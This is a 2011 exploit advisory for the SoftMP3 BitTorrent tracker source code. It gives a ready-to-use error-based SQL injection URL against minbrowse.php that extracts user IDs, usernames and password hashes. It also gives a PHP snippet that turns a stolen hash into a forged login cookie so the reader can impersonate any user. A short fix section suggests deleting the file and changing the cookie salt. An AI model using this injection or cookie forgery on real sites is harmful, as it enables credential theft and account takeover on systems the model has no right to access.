39 lines
No EOL
2.1 KiB
Text
39 lines
No EOL
2.1 KiB
Text
# Exploit Title: SOFTMP3 source code SQL injection
|
|
# Date: 23/04/2011
|
|
# Author: mArTi
|
|
# Software Link: http://softmp3.org/
|
|
# Version: No others versions available...
|
|
# Tested on: Windows / Unix
|
|
|
|
/.................................../ Introduction /.................................../
|
|
|
|
SoftMP3 released a source code of its bittorent tracker when it died. This source code is vulnerable to a SQL injection.
|
|
Here's the PoC and the Fix
|
|
|
|
/.................................../ PoC /.................................../
|
|
|
|
-> SQL http://localhost/SOFTMP3/minbrowse.php?search=string' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,users.id,0x27,users.username,0x27,users.passhash,0x27,0x7e) FROM `database`.users where id=1 LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1"
|
|
|
|
-----> Then you can use this to connect as the user you want by the passhash you got and setting the following cookies :
|
|
|
|
uid=id
|
|
pass=encrypted passhash (see down)
|
|
|
|
|
|
---------> getting encrypted passhash to connect with the cookies
|
|
<?php
|
|
$test=md5($HTTP_SERVER_VARS["REMOTE_ADDR"]."passhash"."hejsan".$HTTP_SERVER_VARS["REMOTE_ADDR"]);
|
|
echo "pass cookie is $test"
|
|
?>
|
|
|
|
/.................................../ FIX /.................................../
|
|
|
|
Delete /minbrowse.php (useless).
|
|
|
|
BTW, if you want to protect the cookies, just change the cookie encryption in bittorent.php file (like the "hejsan" key or the order of terms in encryption)
|
|
|
|
|
|
|
|
-------------------------------------------------------- -------------------------------------------------------- -------------------------------------------------------- --------------------------------------------------------
|
|
Protect yourself against the security breaks in your security to protect your users and your site. If you want to contact me, you'll know where to find me.
|
|
-------------------------------------------------------- -------------------------------------------------------- -------------------------------------------------------- -------------------------------------------------------- |